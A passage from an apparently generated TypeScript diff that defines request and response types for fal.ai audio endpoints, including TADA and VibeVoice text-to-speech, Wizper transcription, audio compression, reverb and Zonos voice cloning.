file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxTextToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File895Fd497 +} + +export const inputFalAiTada1BTextToSpeechLanguageEnum = { + en: 'en', + ar: 'ar', + ch: 'ch', + de: 'de', + es: 'es', + fr: 'fr', + it: 'it', + ja: 'ja', + pl: 'pl', + pt: 'pt', +} as const + +export type InputFalAiTada1BTextToSpeechLanguageEnumKey = + (typeof inputFalAiTada1BTextToSpeechLanguageEnum)[keyof typeof inputFalAiTada1BTextToSpeechLanguageEnum] + +export const inputFalAiTada1BTextToSpeechOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', +} as const + +export type InputFalAiTada1BTextToSpeechOutputFormatEnumKey = + (typeof inputFalAiTada1BTextToSpeechOutputFormatEnum)[keyof typeof inputFalAiTada1BTextToSpeechOutputFormatEnum] + +export type InputFalAiTada1BTextToSpeech = { + /** + * @description Classifier-free guidance scale for acoustic feature generation. + * @minimum 0 + * @maximum 10 + * @default 1.6 + * @type number | undefined + */ + acoustic_cfg_scale?: number + /** + * @description Number of extra autoregressive steps for speech continuation beyond the input text. Useful for generating trailing prosody or silence. + * @minimum 0 + * @maximum 50 + * @default 0 + * @type integer | undefined + */ + num_extra_steps?: number + /** + * @description Top-p (nucleus) sampling parameter for text generation. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + top_p?: number + /** + * @description Factor to speed up or slow down the generated speech. Values > 1.0 speed up, < 1.0 slow down. + * @minimum 0.5 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + speed_up_factor?: number + /** + * @description Temperature for noise in the flow matching diffusion process. + * @minimum 0 + * @maximum 2 + * @default 0.9 + * @type number | undefined + */ + noise_temperature?: number + /** + * @description Language for text alignment. Use the appropriate code for non-English synthesis. + * @default 'en' + * @type string | undefined + */ + language?: InputFalAiTada1BTextToSpeechLanguageEnumKey + /** + * @description Sampling temperature for text token generation. Must be greater than 0. Higher values produce more varied output. + * @maximum 2 + * @default 0.6 + * @type number | undefined + */ + temperature?: number + /** + * @description The format of the output audio file. + * @default 'wav' + * @type string | undefined + */ + output_format?: InputFalAiTada1BTextToSpeechOutputFormatEnumKey + /** + * @description Transcript of the reference audio. For non-English audio, providing a transcript is required since the built-in ASR is English-only. + * @default '' + * @example Some call me nature, others call me mother nature. + * @type string | undefined + */ + transcript?: string + /** + * @description The text to synthesize into speech using the reference speaker's voice. + * @example The autumn leaves danced gracefully through the crisp morning air, painting the cobblestone streets with shades of amber and gold. + * @type string + */ + prompt: string + /** + * @description URL of the reference audio file for voice cloning. The model will replicate this speaker's voice characteristics. + * @example https://storage.googleapis.com/falserverless/example_inputs/reference_audio.wav + * @type string + */ + audio_url: string + /** + * @description Number of ODE solver steps for flow matching acoustic generation. More steps improve quality at the cost of speed. + * @minimum 1 + * @maximum 50 + * @default 20 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Penalty applied to repeated tokens during generation. + * @minimum 1 + * @maximum 2 + * @default 1.1 + * @type number | undefined + */ + repetition_penalty?: number +} + +export type AudioFile76Bcd0A6 = { + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiTada1BTextToSpeech = { + /** + * @description The generated speech audio file. + * @example {"url":"https://v3b.fal.media/files/b/0a91e55e/HUVJsjW6QoDUBfg6HdM5e_B2R8G4X4.wav"} + * @type object + */ + audio: AudioFile76Bcd0A6 +} + +export const inputFalAiTada3BTextToSpeechLanguageEnum = { + en: 'en', + ar: 'ar', + ch: 'ch', + de: 'de', + es: 'es', + fr: 'fr', + it: 'it', + ja: 'ja', + pl: 'pl', + pt: 'pt', +} as const + +export type InputFalAiTada3BTextToSpeechLanguageEnumKey = + (typeof inputFalAiTada3BTextToSpeechLanguageEnum)[keyof typeof inputFalAiTada3BTextToSpeechLanguageEnum] + +export const inputFalAiTada3BTextToSpeechOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', +} as const + +export type InputFalAiTada3BTextToSpeechOutputFormatEnumKey = + (typeof inputFalAiTada3BTextToSpeechOutputFormatEnum)[keyof typeof inputFalAiTada3BTextToSpeechOutputFormatEnum] + +export type InputFalAiTada3BTextToSpeech = { + /** + * @description Classifier-free guidance scale for acoustic feature generation. + * @minimum 0 + * @maximum 10 + * @default 1.6 + * @type number | undefined + */ + acoustic_cfg_scale?: number + /** + * @description Number of extra autoregressive steps for speech continuation beyond the input text. Useful for generating trailing prosody or silence. + * @minimum 0 + * @maximum 50 + * @default 0 + * @type integer | undefined + */ + num_extra_steps?: number + /** + * @description Top-p (nucleus) sampling parameter for text generation. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + top_p?: number + /** + * @description Factor to speed up or slow down the generated speech. Values > 1.0 speed up, < 1.0 slow down. + * @minimum 0.5 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + speed_up_factor?: number + /** + * @description Temperature for noise in the flow matching diffusion process. + * @minimum 0 + * @maximum 2 + * @default 0.9 + * @type number | undefined + */ + noise_temperature?: number + /** + * @description Language for text alignment. Use the appropriate code for non-English synthesis. + * @default 'en' + * @type string | undefined + */ + language?: InputFalAiTada3BTextToSpeechLanguageEnumKey + /** + * @description Sampling temperature for text token generation. Must be greater than 0. Higher values produce more varied output. + * @maximum 2 + * @default 0.6 + * @type number | undefined + */ + temperature?: number + /** + * @description The format of the output audio file. + * @default 'wav' + * @type string | undefined + */ + output_format?: InputFalAiTada3BTextToSpeechOutputFormatEnumKey + /** + * @description Transcript of the reference audio. For non-English audio, providing a transcript is required since the built-in ASR is English-only. + * @default '' + * @example Some call me nature, others call me mother nature. + * @type string | undefined + */ + transcript?: string + /** + * @description The text to synthesize into speech using the reference speaker's voice. + * @example The autumn leaves danced gracefully through the crisp morning air, painting the cobblestone streets with shades of amber and gold. + * @type string + */ + prompt: string + /** + * @description URL of the reference audio file for voice cloning. The model will replicate this speaker's voice characteristics. + * @example https://storage.googleapis.com/falserverless/example_inputs/reference_audio.wav + * @type string + */ + audio_url: string + /** + * @description Number of ODE solver steps for flow matching acoustic generation. More steps improve quality at the cost of speed. + * @minimum 1 + * @maximum 50 + * @default 20 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Penalty applied to repeated tokens during generation. + * @minimum 1 + * @maximum 2 + * @default 1.1 + * @type number | undefined + */ + repetition_penalty?: number +} + +export type AudioFile44Ffd43C = { + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiTada3BTextToSpeech = { + /** + * @description The generated speech audio file. + * @example {"url":"https://v3b.fal.media/files/b/0a91e54b/Ldhq_0EWjUdnUEwn-Tcrk_nfs9DTGI.wav"} + * @type object + */ + audio: AudioFile44Ffd43C +} + +export const vibeVoiceSpeakerPresetEnum = { + 'Alice [EN]': 'Alice [EN]', + 'Carter [EN]': 'Carter [EN]', + 'Frank [EN]': 'Frank [EN]', + 'Mary [EN] (Background Music)': 'Mary [EN] (Background Music)', + 'Maya [EN]': 'Maya [EN]', + 'Anchen [ZH] (Background Music)': 'Anchen [ZH] (Background Music)', + 'Bowen [ZH]': 'Bowen [ZH]', + 'Xinran [ZH]': 'Xinran [ZH]', +} as const + +export type VibeVoiceSpeakerPresetEnumKey = + (typeof vibeVoiceSpeakerPresetEnum)[keyof typeof vibeVoiceSpeakerPresetEnum] + +export type VibeVoiceSpeaker = { + /** + * @description Default voice preset to use for the speaker. Not used if `audio_url` is provided. + * @default 'Alice [EN]' + * @example Alice [EN] + * @type string | undefined + */ + preset?: VibeVoiceSpeakerPresetEnumKey + /** + * @description URL to a voice sample audio file. If provided, `preset` will be ignored. + */ + audio_url?: string | null +} + +/** + * @description Input schema for VibeVoice TTS generation + * @type object + */ +export type InputFalAiVibevoice = { + /** + * @description CFG (Classifier-Free Guidance) scale for generation. Higher values increase adherence to text. + * @minimum 1 + * @maximum 2 + * @default 1.3 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description List of speakers to use for the script. If not provided, will be inferred from the script or voice samples. + * @example [{"preset":"Frank [EN]"},{"preset":"Carter [EN]"}] + * @type array + */ + speakers: VibeVoiceSpeaker[] + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The script to convert to speech. Can be formatted with 'Speaker X:' prefixes for multi-speaker dialogues. + * @maxLength 90000 + * @example Speaker 0: VibeVoice is now available on Fal. Isn't that right, Carter? + * Speaker 1: That's right Frank, and it supports up to four speakers at once. Try it now! + * @type string + */ + script: string +} + +export type File57Af6C8A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output schema for VibeVoice TTS generation + * @type object + */ +export type OutputFalAiVibevoice = { + /** + * @description Real-time factor (generation_time / audio_duration). Lower is better. + * @example 0.53 + * @type number + */ + rtf: number + /** + * @description Time taken to generate the audio in seconds + * @example 5.6 + * @type number + */ + generation_time: number + /** + * @description The generated audio file containing the speech + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/vibevoice.mp3"} + * @type object + */ + audio: File57Af6C8A + /** + * @description Sample rate of the generated audio + * @example 24000 + * @type integer + */ + sample_rate: number + /** + * @description Duration of the generated audio in seconds + * @example 9.46 + * @type number + */ + duration: number +} + +export const inputFalAiVibevoice05BSpeakerEnum = { + Frank: 'Frank', + Wayne: 'Wayne', + Carter: 'Carter', + Emma: 'Emma', + Grace: 'Grace', + Mike: 'Mike', +} as const + +export type InputFalAiVibevoice05BSpeakerEnumKey = + (typeof inputFalAiVibevoice05BSpeakerEnum)[keyof typeof inputFalAiVibevoice05BSpeakerEnum] + +/** + * @description Input schema for VibeVoice-0.5b TTS generation + * @type object + */ +export type InputFalAiVibevoice05B = { + /** + * @description Voice to use for speaking. + * @example Frank + * @type string + */ + speaker: InputFalAiVibevoice05BSpeakerEnumKey + /** + * @description CFG (Classifier-Free Guidance) scale for generation. Higher values increase adherence to text. + * @minimum 1 + * @maximum 2 + * @default 1.3 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description The script to convert to speech. + * @maxLength 90000 + * @example VibeVoice is now available on Fal! + * @type string + */ + script: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileCaf60Bdc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output schema for VibeVoice-0.5b TTS generation + * @type object + */ +export type OutputFalAiVibevoice05B = { + /** + * @description Real-time factor (generation_time / audio_duration). Lower is better. + * @example 0.53 + * @type number + */ + rtf: number + /** + * @description Time taken to generate the audio in seconds + * @example 5.6 + * @type number + */ + generation_time: number + /** + * @description The generated audio file containing the speech + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/vibevoice/0_5b.mp3"} + * @type object + */ + audio: FileCaf60Bdc + /** + * @description Sample rate of the generated audio + * @example 24000 + * @type integer + */ + sample_rate: number + /** + * @description Duration of the generated audio in seconds + * @example 9.46 + * @type number + */ + duration: number +} + +/** + * @description Input schema for VibeVoice-7b TTS generation + * @type object + */ +export type InputFalAiVibevoice7B = { + /** + * @description CFG (Classifier-Free Guidance) scale for generation. Higher values increase adherence to text. + * @minimum 1 + * @maximum 2 + * @default 1.3 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description List of speakers to use for the script. If not provided, will be inferred from the script or voice samples. + * @example [{"preset":"Frank [EN]"},{"preset":"Carter [EN]"}] + * @type array + */ + speakers: VibeVoiceSpeaker[] + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The script to convert to speech. Can be formatted with 'Speaker X:' prefixes for multi-speaker dialogues. + * @maxLength 30000 + * @example Speaker 0: VibeVoice is now available on Fal. Isn't that right, Carter? + * Speaker 1: That's right Frank, and it supports up to four speakers at once. Try it now! + * @type string + */ + script: string +} + +export type File4A14810C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output schema for VibeVoice TTS generation + * @type object + */ +export type OutputFalAiVibevoice7B = { + /** + * @description Real-time factor (generation_time / audio_duration). Lower is better. + * @example 0.53 + * @type number + */ + rtf: number + /** + * @description Time taken to generate the audio in seconds + * @example 5.6 + * @type number + */ + generation_time: number + /** + * @description The generated audio file containing the speech + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/vibevoice.mp3"} + * @type object + */ + audio: File4A14810C + /** + * @description Sample rate of the generated audio + * @example 24000 + * @type integer + */ + sample_rate: number + /** + * @description Duration of the generated audio in seconds + * @example 9.46 + * @type number + */ + duration: number +} + +export const inputFalAiWizperLanguage = { + af: 'af', + am: 'am', + ar: 'ar', + as: 'as', + az: 'az', + ba: 'ba', + be: 'be', + bg: 'bg', + bn: 'bn', + bo: 'bo', + br: 'br', + bs: 'bs', + ca: 'ca', + cs: 'cs', + cy: 'cy', + da: 'da', + de: 'de', + el: 'el', + en: 'en', + es: 'es', + et: 'et', + eu: 'eu', + fa: 'fa', + fi: 'fi', + fo: 'fo', + fr: 'fr', + gl: 'gl', + gu: 'gu', + ha: 'ha', + haw: 'haw', + he: 'he', + hi: 'hi', + hr: 'hr', + ht: 'ht', + hu: 'hu', + hy: 'hy', + id: 'id', + is: 'is', + it: 'it', + ja: 'ja', + jw: 'jw', + ka: 'ka', + kk: 'kk', + km: 'km', + kn: 'kn', + ko: 'ko', + la: 'la', + lb: 'lb', + ln: 'ln', + lo: 'lo', + lt: 'lt', + lv: 'lv', + mg: 'mg', + mi: 'mi', + mk: 'mk', + ml: 'ml', + mn: 'mn', + mr: 'mr', + ms: 'ms', + mt: 'mt', + my: 'my', + ne: 'ne', + nl: 'nl', + nn: 'nn', + no: 'no', + oc: 'oc', + pa: 'pa', + pl: 'pl', + ps: 'ps', + pt: 'pt', + ro: 'ro', + ru: 'ru', + sa: 'sa', + sd: 'sd', + si: 'si', + sk: 'sk', + sl: 'sl', + sn: 'sn', + so: 'so', + sq: 'sq', + sr: 'sr', + su: 'su', + sv: 'sv', + sw: 'sw', + ta: 'ta', + te: 'te', + tg: 'tg', + th: 'th', + tk: 'tk', + tl: 'tl', + tr: 'tr', + tt: 'tt', + uk: 'uk', + ur: 'ur', + uz: 'uz', + vi: 'vi', + yi: 'yi', + yo: 'yo', + zh: 'zh', +} as const + +export type InputFalAiWizperLanguageKey = + (typeof inputFalAiWizperLanguage)[keyof typeof inputFalAiWizperLanguage] + +export const inputFalAiWizperTaskEnum = { + transcribe: 'transcribe', + translate: 'translate', +} as const + +export type InputFalAiWizperTaskEnumKey = + (typeof inputFalAiWizperTaskEnum)[keyof typeof inputFalAiWizperTaskEnum] + +export type InputFalAiWizper = { + /** + * @description Whether to merge consecutive chunks. When enabled, chunks are merged if their combined duration does not exceed max_segment_len. + * @default true + * @type boolean | undefined + */ + merge_chunks?: boolean + /** + * @description + * Language of the audio file. + * If translate is selected as the task, the audio will be translated to + * English, regardless of the language selected. If `None` is passed, + * the language will be automatically detected. This will also increase + * the inference time. + * + * @default en + * @example null + */ + language?: InputFalAiWizperLanguageKey | null + /** + * @description URL of the audio file to transcribe. Supported formats: mp3, mp4, mpeg, mpga, m4a, wav or webm. + * @example https://ihlhivqvotguuqycfcvj.supabase.co/storage/v1/object/public/public-text-to-speech/scratch-testing/earth-history-19mins.mp3 + * @type string + */ + audio_url: string + /** + * @description Maximum speech segment duration in seconds before splitting. + * @minimum 10 + * @maximum 29 + * @default 29 + * @type integer | undefined + */ + max_segment_len?: number + /** + * @description Task to perform on the audio file. Either transcribe or translate. + * @default 'transcribe' + * @type string | undefined + */ + task?: InputFalAiWizperTaskEnumKey + /** + * @description Level of the chunks to return. + * @default 'segment' + * @type string | undefined + */ + chunk_level?: 'segment' + /** + * @description Version of the model to use. All of the models are the Whisper large variant. + * @default '3' + * @type string | undefined + */ + version?: '3' +} + +export type WhisperChunk = { + /** + * @description Transcription of the chunk + * @type string + */ + text: string + /** + * @description Start and end timestamp of the chunk + * @type array + */ + timestamp: [number | null, number | null] +} + +export const outputFalAiWizperLanguagesEnum = { + af: 'af', + am: 'am', + ar: 'ar', + as: 'as', + az: 'az', + ba: 'ba', + be: 'be', + bg: 'bg', + bn: 'bn', + bo: 'bo', + br: 'br', + bs: 'bs', + ca: 'ca', + cs: 'cs', + cy: 'cy', + da: 'da', + de: 'de', + el: 'el', + en: 'en', + es: 'es', + et: 'et', + eu: 'eu', + fa: 'fa', + fi: 'fi', + fo: 'fo', + fr: 'fr', + gl: 'gl', + gu: 'gu', + ha: 'ha', + haw: 'haw', + he: 'he', + hi: 'hi', + hr: 'hr', + ht: 'ht', + hu: 'hu', + hy: 'hy', + id: 'id', + is: 'is', + it: 'it', + ja: 'ja', + jw: 'jw', + ka: 'ka', + kk: 'kk', + km: 'km', + kn: 'kn', + ko: 'ko', + la: 'la', + lb: 'lb', + ln: 'ln', + lo: 'lo', + lt: 'lt', + lv: 'lv', + mg: 'mg', + mi: 'mi', + mk: 'mk', + ml: 'ml', + mn: 'mn', + mr: 'mr', + ms: 'ms', + mt: 'mt', + my: 'my', + ne: 'ne', + nl: 'nl', + nn: 'nn', + no: 'no', + oc: 'oc', + pa: 'pa', + pl: 'pl', + ps: 'ps', + pt: 'pt', + ro: 'ro', + ru: 'ru', + sa: 'sa', + sd: 'sd', + si: 'si', + sk: 'sk', + sl: 'sl', + sn: 'sn', + so: 'so', + sq: 'sq', + sr: 'sr', + su: 'su', + sv: 'sv', + sw: 'sw', + ta: 'ta', + te: 'te', + tg: 'tg', + th: 'th', + tk: 'tk', + tl: 'tl', + tr: 'tr', + tt: 'tt', + uk: 'uk', + ur: 'ur', + uz: 'uz', + vi: 'vi', + yi: 'yi', + yo: 'yo', + zh: 'zh', +} as const + +export type OutputFalAiWizperLanguagesEnumKey = + (typeof outputFalAiWizperLanguagesEnum)[keyof typeof outputFalAiWizperLanguagesEnum] + +export type OutputFalAiWizper = { + /** + * @description Transcription of the audio file + * @type string + */ + text: string + /** + * @description Timestamp chunks of the audio file + * @type array + */ + chunks: WhisperChunk[] + /** + * @description List of languages that the audio file is inferred to be. Defaults to null. + * @type array + */ + languages: OutputFalAiWizperLanguagesEnumKey[] +} + +export const inputFalAiWorkflowUtilitiesAudioCompressorOutputBitrateEnum = { + '128k': '128k', + '192k': '192k', + '256k': '256k', + '320k': '320k', +} as const + +export type InputFalAiWorkflowUtilitiesAudioCompressorOutputBitrateEnumKey = + (typeof inputFalAiWorkflowUtilitiesAudioCompressorOutputBitrateEnum)[keyof typeof inputFalAiWorkflowUtilitiesAudioCompressorOutputBitrateEnum] + +/** + * @description Input model for audio dynamic range compression + * @type object + */ +export type InputFalAiWorkflowUtilitiesAudioCompressor = { + /** + * @description Makeup gain in dB to compensate for volume reduction + * @minimum 0 + * @maximum 64 + * @default 8 + * @type number | undefined + */ + makeup?: number + /** + * @description Compression ratio (1 = no compression, higher = more compression) + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + ratio?: number + /** + * @description Attack time in milliseconds (how fast compression starts) + * @minimum 0.01 + * @maximum 2000 + * @default 5 + * @type number | undefined + */ + attack?: number + /** + * @description Threshold level in dB above which compression is applied (-60 to 0) + * @minimum -60 + * @maximum 0 + * @default -18 + * @type number | undefined + */ + threshold?: number + /** + * @description URL of the audio file to compress + * @example https://v3.fal.media/files/panda/1-0iezBUIePBa3Sz5YY5B_tmpy1jyshw9.wav + * @type string + */ + audio_url: string + /** + * @description Knee width in dB for soft knee compression (0 = hard knee) + * @minimum 1 + * @maximum 8 + * @default 2.83 + * @type number | undefined + */ + knee?: number + /** + * @description Output audio bitrate + * @default '192k' + * @type string | undefined + */ + output_bitrate?: InputFalAiWorkflowUtilitiesAudioCompressorOutputBitrateEnumKey + /** + * @description Release time in milliseconds (how fast compression stops) + * @minimum 0.01 + * @maximum 9000 + * @default 50 + * @type number | undefined + */ + release?: number +} + +/** + * @description Audio file with url field + * @type object + */ +export type AudioFile3264F1Ee = { + /** + * @description Name of the audio file + * @type string + */ + file_name: string + /** + * @description URL of the audio file + * @type string + */ + url: string + /** + * @description Size of the audio file in bytes + * @type integer + */ + file_size: number + /** + * @description Content type of the audio file + * @type string + */ + content_type: string +} + +/** + * @description Output model for compressed audio + * @type object + */ +export type OutputFalAiWorkflowUtilitiesAudioCompressor = { + /** + * @description The compressed audio file + * @example {"file_name":"compressed_audio.wav","file_size":1234567,"url":"https://v3b.fal.media/files/b/panda/compressed_audio.wav","content_type":"application/octet-stream"} + * @type object + */ + audio: AudioFile3264F1Ee +} + +export const inputFalAiWorkflowUtilitiesImpulseResponseOutputBitrateEnum = { + '128k': '128k', + '192k': '192k', + '256k': '256k', + '320k': '320k', +} as const + +export type InputFalAiWorkflowUtilitiesImpulseResponseOutputBitrateEnumKey = + (typeof inputFalAiWorkflowUtilitiesImpulseResponseOutputBitrateEnum)[keyof typeof inputFalAiWorkflowUtilitiesImpulseResponseOutputBitrateEnum] + +/** + * @description Input model for applying impulse response (IR) convolution reverb to audio + * @type object + */ +export type InputFalAiWorkflowUtilitiesImpulseResponse = { + /** + * @description URL of the impulse response WAV file (reverb/effect profile) + * @example https://v3.fal.media/files/panda/1-0iezBUIePBa3Sz5YY5B_tmpy1jyshw9.wav + * @type string + */ + impulse_response_url: string + /** + * @description Level of the original (dry) signal in the mix (0.0-1.0) + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + dry_level?: number + /** + * @description Loudness Range target in LU (typically 5-15) + * @minimum 1 + * @maximum 50 + * @default 8 + * @type number | undefined + */ + loudness_lra?: number + /** + * @description URL of the main audio file to process + * @example https://v3.fal.media/files/panda/1-0iezBUIePBa3Sz5YY5B_tmpy1jyshw9.wav + * @type string + */ + audio_url: string + /** + * @description Level of the processed (wet) signal in the mix (0.0-1.0) + * @minimum 0 + * @maximum 1 + * @default 0.3 + * @type number | undefined + */ + wet_level?: number + /** + * @description Output audio bitrate + * @default '192k' + * @type string | undefined + */ + output_bitrate?: InputFalAiWorkflowUtilitiesImpulseResponseOutputBitrateEnumKey + /** + * @description Target integrated loudness in LUFS (typically -24 to -14) + * @minimum -70 + * @maximum 0 + * @default -18 + * @type number | undefined + */ + loudness_i?: number + /** + * @description Maximum true peak in dBTP (typically -2 to -1) + * @minimum -10 + * @maximum 0 + * @default -1.5 + * @type number | undefined + */ + loudness_tp?: number +} + +/** + * @description Audio file with url field + * @type object + */ +export type AudioFileF161867F = { + /** + * @description Name of the audio file + * @type string + */ + file_name: string + /** + * @description URL of the audio file + * @type string + */ + url: string + /** + * @description Size of the audio file in bytes + * @type integer + */ + file_size: number + /** + * @description Content type of the audio file + * @type string + */ + content_type: string +} + +/** + * @description Output model for impulse response processed audio + * @type object + */ +export type OutputFalAiWorkflowUtilitiesImpulseResponse = { + /** + * @description The processed audio file with reverb applied + * @example {"file_name":"impulse_output.wav","file_size":2456789,"url":"https://v3b.fal.media/files/b/panda/impulse_output.wav","content_type":"application/octet-stream"} + * @type object + */ + audio: AudioFileF161867F +} + +export type InputFalAiZonos = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The reference audio. + * @example https://storage.googleapis.com/falserverless/model_tests/zonos/demo_voice_zonos.wav + * @type string + */ + reference_audio_url: string + /** + * @description The content generated using cloned voice. + * @example Fal is the fastest solution for your image generation. + * @type string + */ + prompt: string +} + +export type File8Da5F2Bb = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZonos = { + /** + * @description The generated audio + * @type object + */ + audio: File8Da5F2Bb +} + +export type InputFalAiZonos2 = { + /** + * @description Reference audio to clone the voice from. + * @example https://storage.googleapis.com/falserverless/model_tests/zonos/demo_voice_zonos.wav + * @type string + */ + reference_audio_url: string + /** + * @description Text-normalization language code. Supported: en_us, en_gb, fr_fr, de, es, it, pt_br, ja, cmn, ko. Unsupported codes skip normalization. + * @default 'en_us' + * @example en_us + * @type string | undefined + */ + language?: string + /** + * @description Minimum-probability sampling threshold. + * @minimum 0 + * @maximum 1 + * @default 0.18 + * @type number | undefined + */ + min_p?: number + /** + * @description Maximum number of audio frames to generate. Defaults to the model context limit. + */ + max_tokens?: number | null + /** + * @description True = closer voice match; False = more expressive. + * @default true + * @type boolean | undefined + */ + accurate_mode?: boolean + /** + * @description Nucleus sampling probability (0 disables). + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + top_p?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Sampling temperature. + * @minimum 0 + * @maximum 2 + * @default 1.15 + * @type number | undefined + */ + temperature?: number + /** + * @description Mark the reference audio as having a clean background. + * @default false + * @type boolean | undefined + */ + clean_speaker_background?: boolean + /** + * @description Top-k sampling cutoff (0 disables). + * @minimum 0 + * @maximum 2048 + * @default 106 + * @type integer | undefined + */ + top_k?: number + /** + * @description Text to synthesize in the cloned voice. + * @default '"Fal" is the fastest solution for your audio generation.' + * @example "Fal" is the fastest solution for your audio generation. + * @type string | undefined + */ + text?: string + /** + * @description Seed for reproducibility. Random when omitted. + */ + seed?: number | null +} + +export type File70116129 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiZonos2 = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated audio (WAV, 44.1kHz mono). + * @type object + */ + audio: File70116129 +} + +export type SpeechTurn = { + /** + * @description Alias of a configured speaker. + * @minLength 1 + * @type string + */ + speaker_id: string + /** + * @description Verbatim transcript for this turn. + * @minLength 1 + * @type string + */ + text: string + /** + * @description Optional delivery style for this turn. + */ + style_instructions?: string | null +} + +export const speakerConfig462A1714VoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', 